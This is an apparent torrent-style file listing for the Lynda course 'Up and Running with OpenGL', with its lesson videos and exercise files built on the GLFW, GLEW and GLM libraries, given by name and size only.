Lynda – Up and Running with OpenGL

mp4   Hot:819   Size:584.35 MB   Created:2017-08-27 09:55:54   Update:2021-12-08 08:14:52  

File List

  • 06_03-texturecoordinate.mp4 35.51 MB
    06_05-lighting.mp4 31.91 MB
    05_05-model.mp4 29.42 MB
    02_06-cleanupapp.mp4 27.07 MB
    07_02-keyboard.mp4 26.59 MB
    05_04-modelviewprojection.mp4 24.78 MB
    07_03-mouse.mp4 24 MB
    04_06-color.mp4 22.46 MB
    05_03-glmortho.mp4 21.14 MB
    06_01-cubeindex.mp4 20.33 MB
    01_02-visualstudio.mp4 19.8 MB
    01_01-osx.mp4 19.45 MB
    06_07-cleanuptexturemesh.mp4 18.67 MB
    06_02-dynamicmesh.mp4 18.21 MB
    02_03-versioninfo.mp4 17.79 MB
    05_06-view.mp4 15.69 MB
    02_01-openglintro.mp4 14.94 MB
    06_06-lightingtexture.mp4 14.57 MB
    04_03-shader.mp4 14.24 MB
    02_02-terminology.mp4 13.73 MB
    04_04-vertarray.mp4 13.65 MB
    05_02-matrix.mp4 13.16 MB
    04_05-vbo.mp4 13.06 MB
    06_04-textureloader.mp4 11.31 MB
    07_01-glfweventhandling.mp4 10.42 MB
    02_05-glfw.mp4 9.83 MB
    00_01-welcome.mp4 9.73 MB
    03_01-immediate.mp4 8.22 MB
    05_07-projection.mp4 7.22 MB
    08_01-nextsteps.mp4 6.73 MB
    02_04-window.mp4 6.64 MB
    05_01-coordinate.mp4 6.61 MB
    04_08-cleanupshader.mp4 6.53 MB
    04_07-error.mp4 5.64 MB
    03_02-immediatetriangles.mp4 3.55 MB
    01_03-buildingfromscratch.mp4 3.32 MB
    04_01-pipeline.mp4 3.19 MB
    00_03-exercisefiles.mp4 3.08 MB
    04_02-glsl.mp4 2.5 MB
    Exercise Files/win/glew/lib/glew32s.lib 1.82 MB
    00_02-needtoknow.mp4 1.44 MB
    Exercise Files/win/glew/include/GL/glew.h 921.34 KB
    Exercise Files/glfw/deps/GL/glext.h 706.73 KB
    Exercise Files/glfw/docs/html/glfw3_8h.html 176.77 KB
    Exercise Files/glfw/docs/html/glfw3_8h_source.html 147.36 KB
    Exercise Files/glfw/docs/html/jquery.js 91.67 KB
    Exercise Files/glfw/docs/html/group__window.html 91.22 KB
    Exercise Files/glfw/docs/html/group__keys.html 89.44 KB
    Exercise Files/glm/fwd.hpp 84.54 KB
    Exercise Files/glfw/include/GLFW/glfw3.h 80.25 KB
    Exercise Files/glfw/docs/Doxyfile.in 78.63 KB
    Exercise Files/win/glew/include/GL/glxew.h 68.45 KB
    Exercise Files/glm/detail/_swizzle_func.hpp 63.8 KB
    Exercise Files/glfw/docs/html/group__input.html 62.81 KB
    Exercise Files/win/glew/include/GL/wglew.h 62.14 KB
    Exercise Files/glm/detail/_swizzle.hpp 50.87 KB
    Exercise Files/glm/detail/type_mat.hpp 42.38 KB
    Exercise Files/glfw/deps/GL/wglext.h 41.97 KB
    Exercise Files/glm/detail/intrinsic_matrix.inl 41.66 KB
    Exercise Files/glfw/deps/GL/glxext.h 40.91 KB
    Exercise Files/glm/gtc/noise.inl 38.64 KB
    Exercise Files/glfw/src/x11_window.c 38.13 KB
    Exercise Files/glfw/src/win32_window.c 37.53 KB
    Exercise Files/glfw/docs/html/search/all_67.js 37.48 KB
    Exercise Files/glfw/docs/html/window.html 36.25 KB
    Exercise Files/resources/flower.bmp 35.72 KB
    Exercise Files/glfw/docs/html/group__monitor.html 35.38 KB
    Exercise Files/glfw/src/cocoa_window.m 32.23 KB
    Exercise Files/glfw/docs/html/quick.html 29.55 KB
    Exercise Files/glm/detail/type_mat4x4.inl 28.1 KB
    Exercise Files/glm/detail/setup.hpp 27.65 KB
    Exercise Files/glfw/docs/html/moving.html 27.43 KB
    Exercise Files/glm/detail/type_vec.hpp 27.2 KB
    Exercise Files/glfw/src/x11_init.c 26.61 KB
    Exercise Files/glm/gtc/type_precision.hpp 26.37 KB
    Exercise Files/glm/gtc/packing.hpp 26.3 KB
    Exercise Files/glm/gtx/associated_min_max.inl 26.26 KB
    Exercise Files/glm/detail/func_common.inl 26.19 KB
    Exercise Files/glfw/deps/EGL/eglext.h 25.44 KB
    Exercise Files/glfw/docs/html/glfw3native_8h_source.html 24.51 KB
    Exercise Files/glfw/src/internal.h 24.32 KB
    Exercise Files/glfw/docs/html/search/search.js 23.83 KB
    Exercise Files/glm/gtc/quaternion.inl 22.68 KB
    Exercise Files/glm/detail/func_common.hpp 22.38 KB
    Exercise Files/glfw/examples/heightmap.c 22.34 KB
    Exercise Files/glm/gtx/bit.inl 21.04 KB
    Exercise Files/glfw/src/wgl_context.c 20.71 KB
    Exercise Files/glfw/src/x11_unicode.c 20.67 KB
    Exercise Files/glm/detail/type_vec4.inl 20.62 KB
    Exercise Files/glfw/docs/html/globals_0x6b.html 20.17 KB
    Exercise Files/glm/detail/type_mat3x3.inl 20.02 KB
    Exercise Files/glfw/src/context.c 19.99 KB
    Exercise Files/glfw/docs/html/doxygen.css 19.97 KB
    Exercise Files/glfw/docs/html/globals_defs_0x6b.html 19.84 KB
    Exercise Files/glfw/src/window.c 19.78 KB
    Exercise Files/glfw/docs/html/group__context.html 19.62 KB
    Exercise Files/glfw/docs/window.dox 19.18 KB
    Exercise Files/glfw/src/glx_context.c 19.01 KB
    Exercise Files/glfw/docs/html/group__native.html 18.94 KB
    Exercise Files/glm/detail/type_mat4x3.inl 18.84 KB
    Exercise Files/glfw/docs/html/compile.html 18.58 KB
    Exercise Files/glm/detail/type_vec3.inl 17.84 KB
    Exercise Files/glfw/docs/html/group__init.html 17.8 KB
    Exercise Files/glfw/examples/boing.c 17.63 KB
    Exercise Files/glm/gtx/simd_vec4.hpp 17.33 KB
    Exercise Files/glm/detail/type_mat3x4.inl 17.26 KB
    Exercise Files/glfw/docs/html/group__joysticks.html 17.03 KB
    Exercise Files/glm/gtx/simd_quat.inl 16.99 KB
    Exercise Files/glm/detail/type_mat4x2.inl 16.75 KB
    Exercise Files/glm/gtx/compatibility.hpp 16.7 KB
    Exercise Files/glm/gtc/matrix_integer.hpp 16.57 KB
    Exercise Files/glm/detail/type_vec2.inl 16.5 KB
    Exercise Files/glfw/src/egl_context.c 16.49 KB
    Exercise Files/glfw/docs/html/globals_func.html 16.32 KB
    Exercise Files/glm/gtx/simd_vec4.inl 15.98 KB
    Exercise Files/glm/detail/func_integer.inl 15.96 KB
    Exercise Files/glfw/src/cocoa_joystick.m 15.72 KB
    Exercise Files/glfw/docs/html/build.html 15.72 KB
    Exercise Files/glfw/docs/html/context.html 15.47 KB
    Exercise Files/glm/detail/type_vec1.inl 15.46 KB
    Exercise Files/glfw/docs/moving.dox 15.42 KB
    Exercise Files/glfw/deps/tinycthread.h 15.21 KB
    Exercise Files/glfw/tests/events.c 15.21 KB
    Exercise Files/glfw/docs/html/news.html 15.12 KB
    Exercise Files/glm/detail/func_matrix.inl 14.88 KB
    Exercise Files/glm/detail/type_mat2x2.inl 14.88 KB
    Exercise Files/glm/detail/type_mat3x2.inl 14.78 KB
    Exercise Files/glm/detail/type_mat2x4.inl 14.77 KB
    Exercise Files/glfw/CMakeLists.txt 14.63 KB
    Exercise Files/glm/detail/func_noise.inl 14.45 KB
    Exercise Files/glm/gtc/packing.inl 14.43 KB
    Exercise Files/glfw/docs/html/group__buttons.html 14.25 KB
    Exercise Files/glfw/examples/splitview.c 13.97 KB
    Exercise Files/glm/detail/type_mat2x3.inl 13.82 KB
    Exercise Files/glfw/docs/html/group__errors.html 13.67 KB
    Exercise Files/glfw/docs/html/globals_0x67.html 13.64 KB
    Exercise Files/glm/detail/type_vec4.hpp 13.57 KB
    Exercise Files/glm/detail/intrinsic_common.inl 13.51 KB
    Exercise Files/glfw/docs/html/compat.html 13.18 KB
    Exercise Files/glm/gtc/matrix_transform.inl 13.13 KB
    Exercise Files/glm/detail/_features.hpp 13.12 KB
    Exercise Files/glm/gtc/quaternion.hpp 12.98 KB
    Exercise Files/glfw/deps/tinycthread.c 12.72 KB
    Exercise Files/glfw/docs/html/glfw3native_8h.html 12.68 KB
    Exercise Files/glm/gtx/simd_mat4.inl 12.21 KB
    Exercise Files/glm/detail/func_packing.hpp 12.16 KB
    Exercise Files/glm/gtc/type_ptr.inl 12.06 KB
    Exercise Files/glfw/tests/glfwinfo.c 11.66 KB
    Exercise Files/glm/gtc/matrix_transform.hpp 11.65 KB
    Exercise Files/glm/detail/type_vec3.hpp 11.63 KB
    Exercise Files/glfw/docs/html/monitor.html 11.4 KB
    Exercise Files/glm/gtx/dual_quaternion.inl 11.37 KB
    Exercise Files/glfw/src/cocoa_monitor.m 11.34 KB
    Exercise Files/glfw/examples/wave.c 11.3 KB
    Exercise Files/glfw/src/x11_monitor.c 11.28 KB
    Exercise Files/glfw/docs/html/globals_0x73.html 11.02 KB
    Exercise Files/glfw/src/input.c 11.01 KB
    Exercise Files/glm/detail/type_vec2.hpp 10.91 KB
    Exercise Files/glfw/docs/compile.dox 10.7 KB
    Exercise Files/glfw/src/x11_clipboard.c 10.7 KB
    Exercise Files/glm/detail/intrinsic_vector_relational.inl 10.58 KB
    Exercise Files/glm/detail/type_gentype.inl 10.39 KB
    Exercise Files/glm/gtx/simd_quat.hpp 10.33 KB
    Exercise Files/glm/gtx/string_cast.inl 10.27 KB
    Exercise Files/glm/gtx/dual_quaternion.hpp 10.21 KB
    Exercise Files/examples/LightingAndTexture.cpp 10.15 KB
    Exercise Files/glfw/examples/gears.c 10.08 KB
    Exercise Files/glfw/docs/quick.dox 10 KB
    Exercise Files/glm/detail/type_vec1.hpp 9.99 KB
    Exercise Files/glfw/docs/html/structGLFWvidmode.html 9.97 KB
    Exercise Files/glm/detail/func_trigonometric.hpp 9.92 KB
    Exercise Files/glfw/docs/html/group__error.html 9.83 KB
    Exercise Files/glfw/docs/html/search/functions_67.js 9.83 KB
    Exercise Files/glm/gtx/io.inl 9.81 KB
    Exercise Files/glfw/docs/html/group__clipboard.html 9.79 KB
    Exercise Files/glfw/src/monitor.c 9.76 KB
    Exercise Files/glm/detail/glm.cpp 9.72 KB
    Exercise Files/glm/gtc/ulp.inl 9.69 KB
    Exercise Files/glm/detail/func_integer.hpp 9.64 KB
    Exercise Files/glm/detail/func_geometric.inl 9.2 KB
    Exercise Files/glfw/docs/html/structGLFWgammaramp.html 9.05 KB
    Exercise Files/glfw/docs/html/globals_0x6a.html 8.98 KB
    Exercise Files/glfw/docs/html/globals_0x6d.html 8.88 KB
    Exercise Files/glm/gtx/bit.hpp 8.87 KB
    Exercise Files/glfw/src/nsgl_context.m 8.86 KB
    Exercise Files/glfw/docs/html/group__mods.html 8.86 KB
    Exercise Files/glfw/docs/build.dox 8.63 KB
    Exercise Files/glm/detail/type_mat4x4.hpp 8.55 KB
    Exercise Files/glfw/docs/html/globals_defs_0x6a.html 8.54 KB
    Exercise Files/glm/detail/type_int.hpp 8.46 KB
    Exercise Files/glfw/docs/html/globals_defs_0x6d.html 8.43 KB
    Exercise Files/examples/Texture.cpp 8.32 KB
    Exercise Files/glfw/docs/html/group__time.html 8.27 KB
    Exercise Files/glfw/docs/html/modules.html 8.19 KB
    Exercise Files/glm/detail/type_mat3x3.hpp 8.15 KB
    Exercise Files/glfw/docs/html/globals_0x63.html 8.12 KB
    Exercise Files/glfw/src/x11_platform.h 8.02 KB
    Exercise Files/glfw/src/win32_platform.h 8.01 KB
    Exercise Files/glm/detail/type_mat2x2.hpp 7.98 KB
    Exercise Files/glfw/docs/html/globals_0x6f.html 7.92 KB
    Exercise Files/glfw/src/win32_monitor.c 7.91 KB
    Exercise Files/examples/Lighting.cpp 7.72 KB
    Exercise Files/glfw/docs/html/globals_defs_0x63.html 7.68 KB
    Exercise Files/glfw/docs/html/globals.html 7.67 KB
    Exercise Files/glfw/docs/html/globals_defs_0x6f.html 7.6 KB
    Exercise Files/glm/detail/func_vector_relational.hpp 7.58 KB
    Exercise Files/glfw/docs/html/globals_0x72.html 7.55 KB
    Exercise Files/examples/Keyboard.cpp 7.53 KB
    Exercise Files/glfw/docs/html/globals_0x76.html 7.46 KB
    Exercise Files/glfw/docs/html/globals_0x64.html 7.46 KB
    Exercise Files/glfw/docs/html/globals_0x69.html 7.45 KB
    Exercise Files/glfw/docs/html/globals_type.html 7.43 KB
    Exercise Files/examples/DynamicMesh.cpp 7.43 KB
    Exercise Files/glfw/src/win32_init.c 7.39 KB
    Exercise Files/glfw/docs/html/globals_0x6e.html 7.36 KB
    Exercise Files/glfw/docs/html/globals_defs.html 7.35 KB
    Exercise Files/glm/detail/func_exponential.inl 7.34 KB
    Exercise Files/glfw/docs/html/globals_0x77.html 7.24 KB
    Exercise Files/glfw/docs/html/globals_0x70.html 7.23 KB
    Exercise Files/glfw/docs/html/globals_defs_0x73.html 7.22 KB
    Exercise Files/glfw/docs/html/globals_defs_0x76.html 7.14 KB
    Exercise Files/glm/detail/type_mat4x3.hpp 7.13 KB
    Exercise Files/glfw/docs/html/globals_0x66.html 7.12 KB
    Exercise Files/glfw/docs/html/globals_defs_0x72.html 7.11 KB
    Exercise Files/glm/gtx/simd_mat4.hpp 7.06 KB
    Exercise Files/glm/gtx/intersect.inl 7.05 KB
    Exercise Files/glfw/docs/html/globals_defs_0x6e.html 7.04 KB
    Exercise Files/glm/detail/type_mat3x4.hpp 7.03 KB
    Exercise Files/glfw/docs/html/globals_0x65.html 7.02 KB
    Exercise Files/glfw/docs/html/globals_0x6c.html 7.01 KB
    Exercise Files/glfw/docs/html/globals_0x68.html 7.01 KB
    Exercise Files/glfw/docs/html/globals_0x74.html 7.01 KB
    Exercise Files/glfw/docs/html/globals_0x62.html 7 KB
    Exercise Files/glm/detail/type_mat4x2.hpp 6.94 KB
    Exercise Files/glfw/docs/html/globals_defs_0x69.html 6.91 KB
    Exercise Files/glfw/docs/html/globals_defs_0x64.html 6.9 KB
    Exercise Files/glm/detail/func_matrix.hpp 6.88 KB
    Exercise Files/glfw/docs/html/pages.html 6.85 KB
    Exercise Files/glfw/docs/compat.dox 6.82 KB
    Exercise Files/examples/TriangleBuffer.cpp 6.82 KB
    Exercise Files/glm/detail/type_mat2x4.hpp 6.82 KB
    Exercise Files/glfw/docs/html/globals_defs_0x66.html 6.8 KB
    Exercise Files/glfw/docs/html/globals_defs_0x70.html 6.8 KB
    Exercise Files/glm/detail/type_mat3x2.hpp 6.78 KB
    Exercise Files/glfw/deps/getopt.c 6.75 KB
    Exercise Files/glm/detail/type_mat2x3.hpp 6.73 KB
    Exercise Files/glfw/docs/html/globals_defs_0x6c.html 6.69 KB
    Exercise Files/examples/TextureLoader.cpp 6.69 KB
    Exercise Files/glfw/docs/html/globals_defs_0x67.html 6.68 KB
    Exercise Files/glfw/docs/html/globals_defs_0x62.html 6.68 KB
    Exercise Files/glm/gtc/matrix_inverse.inl 6.66 KB
    Exercise Files/glfw/tests/modes.c 6.64 KB
    Exercise Files/glm/gtx/quaternion.hpp 6.64 KB
    Exercise Files/examples/Model.cpp 6.62 KB
    Exercise Files/examples/Cube.cpp 6.62 KB
    Exercise Files/examples/TriangleColorBuffer.cpp 6.62 KB
    Exercise Files/glfw/src/x11_joystick.c 6.6 KB
    Exercise Files/glfw/README.md 6.58 KB
    Exercise Files/examples/ModelView.cpp 6.57 KB
    Exercise Files/glm/gtx/euler_angles.inl 6.54 KB
    Exercise Files/glm/detail/func_geometric.hpp 6.54 KB
    Exercise Files/glm/detail/func_exponential.hpp 6.54 KB
    Exercise Files/examples/Mouse.cpp 6.43 KB
    Exercise Files/glm/gtx/quaternion.inl 6.43 KB
    Exercise Files/glfw/docs/html/functions.html 6.41 KB
    Exercise Files/glm/detail/type_gentype.hpp 6.31 KB
    Exercise Files/glfw/docs/html/functions_vars.html 6.3 KB
    Exercise Files/glm/gtx/rotate_vector.inl 6.28 KB
    Exercise Files/glm/detail/type_half.inl 6.23 KB
    Exercise Files/glfw/tests/joysticks.c 6.18 KB
    Exercise Files/glm/detail/_vectorize.hpp 6.18 KB
    Exercise Files/glm/detail/dummy.cpp 6.14 KB
    Exercise Files/glfw/docs/context.dox 6.12 KB
    Exercise Files/glm/detail/func_trigonometric.inl 6.05 KB
    Exercise Files/glfw/docs/html/extra.css 5.96 KB
    Exercise Files/glfw/docs/extra.css 5.96 KB
    Exercise Files/glm/gtc/type_ptr.hpp 5.94 KB
    Exercise Files/glfw/docs/news.dox 5.85 KB
    Exercise Files/glfw/docs/html/dir_ced77f9823b212f18d14b97d44f17dc6.html 5.85 KB
    Exercise Files/glm/gtx/vector_query.inl 5.81 KB
    Exercise Files/glfw/docs/html/classes.html 5.81 KB
    Exercise Files/glm/gtx/io.hpp 5.79 KB
    Exercise Files/glfw/docs/html/annotated.html 5.75 KB
    Exercise Files/glm/gtx/vec1.hpp 5.71 KB
    Exercise Files/glm/virtrev/xstream.hpp 5.68 KB
    Exercise Files/glfw/docs/html/files.html 5.67 KB
    Exercise Files/glm/detail/func_vector_relational.inl 5.67 KB
    Exercise Files/include/gl_mesh.hpp 5.61 KB
    Exercise Files/glfw/include/GLFW/glfw3native.h 5.55 KB
    Exercise Files/glfw/docs/html/index.html 5.49 KB
    Exercise Files/glm/gtx/euler_angles.hpp 5.48 KB
    Exercise Files/glfw/src/init.c 5.46 KB
    Exercise Files/examples/TriangleOrtho.cpp 5.45 KB
    Exercise Files/glfw/docs/html/dir_85715018e387ccbec8815d3563c0262a.html 5.45 KB
    Exercise Files/glfw/docs/html/dir_2ed3966b92992331bf8a66a32e738cef.html 5.36 KB
    Exercise Files/glm/gtx/matrix_major_storage.hpp 5.36 KB
    Exercise Files/glfw/src/win32_joystick.c 5.33 KB
    Exercise Files/glm/ext.hpp 5.3 KB
    Exercise Files/glfw/docs/html/search/defines_67.js 5.21 KB
    Exercise Files/glm/detail/intrinsic_integer.inl 5.17 KB
    Exercise Files/glm/gtc/constants.hpp 5.12 KB
    Exercise Files/glm/gtx/transform2.hpp 5.04 KB
    Exercise Files/glfw/docs/html/bug.html 5.03 KB
    Exercise Files/glm/gtx/extented_min_max.hpp 4.99 KB
    Exercise Files/glm/gtc/reciprocal.inl 4.99 KB
    Exercise Files/glfw/docs/html/context_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/monitor_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/compile_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/window_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/compat_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/moving_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/build_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/quick_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/main_8dox.html 4.95 KB
    Exercise Files/glfw/docs/html/news_8dox.html 4.95 KB
    Exercise Files/glfw/tests/sharing.c 4.84 KB
    Exercise Files/glm/gtx/integer.inl 4.74 KB
    Exercise Files/glm/gtc/constants.inl 4.74 KB
    Exercise Files/glfw/src/x11_gamma.c 4.71 KB
    Exercise Files/glfw/src/glx_platform.h 4.68 KB
    Exercise Files/glfw/tests/iconify.c 4.68 KB
    Exercise Files/glm/detail/intrinsic_geometric.inl 4.66 KB
    Exercise Files/glm/gtx/rotate_vector.hpp 4.65 KB
    Exercise Files/glm/gtc/random.inl 4.63 KB
    Exercise Files/glfw/tests/reopen.c 4.62 KB
    Exercise Files/glm/gtx/matrix_major_storage.inl 4.55 KB
    Exercise Files/glm/gtx/fast_exponential.inl 4.53 KB
    Exercise Files/glm/glm.hpp 4.48 KB
    Exercise Files/glfw/src/cocoa_platform.h 4.46 KB
    Exercise Files/glm/mat2x2.hpp 4.41 KB
    Exercise Files/glm/mat3x3.hpp 4.41 KB
    Exercise Files/glm/mat4x4.hpp 4.41 KB
    Exercise Files/glm/gtx/intersect.hpp 4.4 KB
    Exercise Files/glm/gtx/wrap.inl 4.4 KB
    Exercise Files/glfw/docs/html/search/search.css 4.36 KB
    Exercise Files/glm/detail/_noise.hpp 4.34 KB
    Exercise Files/glm/gtx/matrix_interpolation.inl 4.34 KB
    Exercise Files/glfw/tests/gamma.c 4.21 KB
    Exercise Files/glfw/docs/internal.dox 4.18 KB
    Exercise Files/glm/gtc/epsilon.inl 4.17 KB
    Exercise Files/glm/detail/type_float.hpp 4.17 KB
    Exercise Files/glm/detail/func_noise.hpp 4.15 KB
    Exercise Files/glfw/tests/fsaa.c 4.13 KB
    Exercise Files/glm/gtx/norm.hpp 4.02 KB
    Exercise Files/glm/gtc/reciprocal.hpp 4.02 KB
    Exercise Files/glm/gtx/matrix_query.hpp 3.99 KB
    Exercise Files/glm/gtx/transform2.inl 3.98 KB
    Exercise Files/glm/gtx/associated_min_max.hpp 3.97 KB
    Exercise Files/glfw/tests/peter.c 3.96 KB
    Exercise Files/glm/gtx/matrix_transform_2d.hpp 3.96 KB
    Exercise Files/glm/gtx/matrix_query.inl 3.95 KB
    Exercise Files/glm/gtx/matrix_operation.hpp 3.94 KB
    Exercise Files/glm/gtx/color_space.inl 3.92 KB
    Exercise Files/glm/gtc/random.hpp 3.87 KB
    Exercise Files/glfw/tests/clipboard.c 3.85 KB
    Exercise Files/glm/gtx/fast_square_root.inl 3.84 KB
    Exercise Files/glm/gtx/rotate_normalized_axis.inl 3.75 KB
    Exercise Files/glfw/src/cocoa_init.m 3.74 KB
    Exercise Files/glm/gtx/rotate_normalized_axis.hpp 3.72 KB
    Exercise Files/glm/gtx/vector_query.hpp 3.72 KB
    Exercise Files/glm/detail/func_packing.inl 3.7 KB
    Exercise Files/glm/gtx/inertia.hpp 3.7 KB
    Exercise Files/glm/gtx/fast_trigonometry.hpp 3.69 KB
    Exercise Files/glfw/docs/html/doxygen.png 3.69 KB
    Exercise Files/glfw/src/win32_clipboard.c 3.69 KB
    Exercise Files/glfw/tests/accuracy.c 3.65 KB
    Exercise Files/glm/gtx/integer.hpp 3.63 KB
    Exercise Files/glm/gtx/fast_square_root.hpp 3.62 KB
    Exercise Files/glm/gtx/number_precision.hpp 3.61 KB
    Exercise Files/glfw/tests/tearing.c 3.58 KB
    Exercise Files/glfw/src/glfw_config.h.in 3.57 KB
    Exercise Files/glfw/src/wgl_platform.h 3.56 KB
    Exercise Files/glfw/src/gamma.c 3.55 KB
    Exercise Files/glfw/tests/defaults.c 3.53 KB
    Exercise Files/glfw/tests/threads.c 3.48 KB
    Exercise Files/glm/gtx/fast_exponential.hpp 3.44 KB
    Exercise Files/glm/gtx/optimum_pow.hpp 3.43 KB
    Exercise Files/glm/gtc/epsilon.hpp 3.42 KB
    Exercise Files/include/gl_shader.hpp 3.37 KB
    Exercise Files/glfw/src/CMakeLists.txt 3.35 KB
    Exercise Files/glm/gtx/color_space.hpp 3.35 KB
    Exercise Files/glm/gtx/matrix_interpolation.hpp 3.35 KB
    Exercise Files/glm/gtc/ulp.hpp 3.33 KB
    Exercise Files/glm/gtx/multiple.inl 3.32 KB
    Exercise Files/glm/gtx/transform.hpp 3.26 KB
    Exercise Files/glm/gtx/color_space_YCoCg.hpp 3.22 KB
    Exercise Files/include/glfw_app.hpp 3.21 KB
    Exercise Files/include/glfw_window.hpp 3.17 KB
    Exercise Files/glm/gtx/vector_angle.hpp 3.14 KB
    Exercise Files/glm/gtx/vector_angle.inl 3.13 KB
    Exercise Files/glm/gtx/std_based_type.hpp 3.07 KB
    Exercise Files/glm/gtx/matrix_transform_2d.inl 3.05 KB
    Exercise Files/glm/detail/intrinsic_exponential.hpp 3.02 KB
    Exercise Files/glm/mat2x4.hpp 3.02 KB
    Exercise Files/glm/mat3x4.hpp 3.02 KB
    Exercise Files/glm/mat4x2.hpp 3.02 KB
    Exercise Files/glm/mat4x3.hpp 3.02 KB
    Exercise Files/glm/mat2x3.hpp 3.02 KB
    Exercise Files/glm/mat3x2.hpp 3.02 KB
    Exercise Files/glm/gtx/extented_min_max.inl 3 KB
    Exercise Files/glm/gtx/inertia.inl 2.98 KB
    Exercise Files/glfw/src/cocoa_gamma.c 2.98 KB
    Exercise Files/glm/gtc/matrix_access.hpp 2.98 KB
    Exercise Files/glm/gtx/matrix_operation.inl 2.96 KB
    Exercise Files/examples/ImmediateTriangles.cpp 2.96 KB
    Exercise Files/glm/gtc/matrix_inverse.hpp 2.92 KB
    Exercise Files/glm/gtc/noise.hpp 2.91 KB
    Exercise Files/glfw/docs/html/dynsections.js 2.91 KB
    Exercise Files/glm/gtx/component_wise.hpp 2.91 KB
    Exercise Files/glm/gtx/norm.inl 2.91 KB
    Exercise Files/glm/gtx/spline.hpp 2.9 KB
    Exercise Files/include/gl_texture.hpp 2.9 KB
    Exercise Files/glm/gtx/handed_coordinate_space.hpp 2.87 KB
    Exercise Files/glfw/src/win32_gamma.c 2.86 KB
    Exercise Files/glm/gtx/normalize_dot.hpp 2.85 KB
    Exercise Files/glm/gtx/multiple.hpp 2.83 KB
    Exercise Files/glfw/src/x11_time.c 2.82 KB
    Exercise Files/glm/gtx/gradient_paint.hpp 2.79 KB
    Exercise Files/glfw/src/egl_platform.h 2.77 KB
    Exercise Files/glfw/examples/simple.c 2.74 KB
    Exercise Files/CMakeLists.txt 2.72 KB
    Exercise Files/glfw/src/win32_time.c 2.7 KB
    Exercise Files/glm/detail/intrinsic_common.hpp 2.67 KB
    Exercise Files/glm/gtx/polar_coordinates.hpp 2.66 KB
    Exercise Files/glm/gtc/matrix_access.inl 2.66 KB
    Exercise Files/glm/gtx/matrix_cross_product.hpp 2.66 KB
    Exercise Files/glm/gtx/orthonormalize.hpp 2.62 KB
    Exercise Files/glm/gtx/string_cast.hpp 2.62 KB
    Exercise Files/glfw/tests/windows.c 2.61 KB
    Exercise Files/glfw/docs/monitor.dox 2.6 KB
    Exercise Files/glfw/src/joystick.c 2.59 KB
    Exercise Files/glfw/tests/CMakeLists.txt 2.56 KB
    Exercise Files/glm/gtx/wrap.hpp 2.52 KB
    Exercise Files/glm/gtx/raw_data.hpp 2.52 KB
    Exercise Files/include/gl_data.hpp 2.51 KB
    Exercise Files/include/gl_error.hpp 2.49 KB
    Exercise Files/glfw/src/cocoa_clipboard.m 2.48 KB
    Exercise Files/glm/detail/intrinsic_matrix.hpp 2.46 KB
    Exercise Files/glm/gtx/closest_point.hpp 2.43 KB
    Exercise Files/glm/gtx/normalize_dot.inl 2.43 KB
    Exercise Files/glm/gtx/perpendicular.hpp 2.4 KB
    Exercise Files/glm/gtx/normal.hpp 2.38 KB
    Exercise Files/glm/detail/intrinsic_geometric.hpp 2.38 KB
    Exercise Files/glm/gtx/mixed_product.hpp 2.37 KB
    Exercise Files/glm/gtx/spline.inl 2.36 KB
    Exercise Files/glm/gtx/extend.hpp 2.35 KB
    Exercise Files/glfw/src/nsgl_platform.h 2.34 KB
    Exercise Files/glm/gtx/fast_trigonometry.inl 2.34 KB
    Exercise Files/glfw/docs/html/search/typedefs_67.js 2.28 KB
    Exercise Files/glm/gtx/projection.hpp 2.27 KB
    Exercise Files/glfw/src/cocoa_time.c 2.27 KB
    Exercise Files/glm/gtx/log_base.hpp 2.26 KB
    Exercise Files/glm/gtx/scalar_relational.hpp 2.18 KB
    Exercise Files/glfw/tests/title.c 2.15 KB
    Exercise Files/examples/Immediate.cpp 2.12 KB
    Exercise Files/glm/gtx/color_space_YCoCg.inl 2.07 KB
    Exercise Files/examples/Extensions.cpp 2.07 KB
    Exercise Files/glfw/examples/CMakeLists.txt 2.07 KB
    Exercise Files/glfw/deps/getopt.h 2.03 KB
    Exercise Files/glm/detail/intrinsic_integer.hpp 1.95 KB
    Exercise Files/glm/gtx/polar_coordinates.inl 1.92 KB
    Exercise Files/glm/detail/_literals.hpp 1.9 KB
    Exercise Files/glm/detail/intrinsic_vector_relational.hpp 1.89 KB
    Exercise Files/glm/detail/type_half.hpp 1.89 KB
    Exercise Files/glm/gtx/int_10_10_10_2.hpp 1.88 KB
    Exercise Files/glm/detail/intrinsic_trigonometric.hpp 1.87 KB
    Exercise Files/glm/detail/_fixes.hpp 1.87 KB
    Exercise Files/glfw/src/clipboard.c 1.86 KB
    Exercise Files/examples/GLFWwindow.cpp 1.81 KB
    Exercise Files/glm/detail/hint.hpp 1.7 KB
    Exercise Files/glm/detail/precision.hpp 1.7 KB
    Exercise Files/glfw/src/time.c 1.67 KB
    Exercise Files/glm/vector_relational.hpp 1.64 KB
    Exercise Files/glm/gtx/constants.hpp 1.63 KB
    Exercise Files/glm/trigonometric.hpp 1.62 KB
    Exercise Files/glm/exponential.hpp 1.61 KB
    Exercise Files/glm/gtx/compatibility.inl 1.61 KB
    Exercise Files/glm/geometric.hpp 1.6 KB
    Exercise Files/glm/packing.hpp 1.59 KB
    Exercise Files/glm/integer.hpp 1.59 KB
    Exercise Files/glm/gtx/int_10_10_10_2.inl 1.59 KB
    Exercise Files/glm/matrix.hpp 1.59 KB
    Exercise Files/glm/common.hpp 1.59 KB
    Exercise Files/glm/gtx/optimum_pow.inl 1.58 KB
    Exercise Files/glm/vec2.hpp 1.58 KB
    Exercise Files/glm/vec3.hpp 1.58 KB
    Exercise Files/glm/vec4.hpp 1.58 KB
    Exercise Files/glm/gtx/epsilon.hpp 1.55 KB
    Exercise Files/glm/gtx/noise.hpp 1.55 KB
    Exercise Files/glm/gtx/ulp.hpp 1.54 KB
    Exercise Files/glm/gtx/scalar_relational.inl 1.54 KB
    Exercise Files/glm/gtx/component_wise.inl 1.54 KB
    Exercise Files/glm/gtx/random.hpp 1.53 KB
    Exercise Files/glm/gtc/type_precision.inl 1.5 KB
    Exercise Files/glm/gtx/reciprocal.hpp 1.5 KB
    Exercise Files/glm/gtx/unsigned_int.hpp 1.49 KB
    Exercise Files/glm/gtx/extend.inl 1.49 KB
    Exercise Files/glm/detail/intrinsic_trigonometric.inl 1.49 KB
